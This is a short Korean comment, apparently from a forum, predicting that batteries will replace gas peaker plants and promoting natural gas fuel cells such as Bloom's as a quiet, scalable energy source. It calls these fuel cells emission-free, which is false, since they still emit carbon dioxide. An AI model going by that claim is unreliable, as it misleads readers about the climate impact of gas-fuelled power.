배터리가 가스 피커 발전소 를 대체하는 것이 다음으로 기대하는 이정표임 이미 깔린 인프라 때문에 기저부하에는 꽤 오래 가스 발전이 필요할 것임 다만 천연가스가 원전과 비슷한 상황이 되어, 배출 없이 전기를 만드는 천연가스 연료전지를 충분히 받아들이지 못할까 봐 걱정됨 물론 수압파쇄 문제가 있지만, 미국은 가난한 나라에 광물 채굴을 외주 주는 대신 그 환경 피해를 자국 안에서 감당함 화석연료의 가장 큰 문제인 배출을 해결하면서 채굴의 환경 영향을 줄여갈 수 있음 가스터빈보다 훨씬 조용하고 사실상 어떤 크기로도 확장 가능함 지금은 Bloom이 기준점이지만 강한 경쟁자가 곧 나오길 바라며, 천연가스 연료전지가 미래 에너지 퍼즐의 거대한 조각이라고 믿고 싶음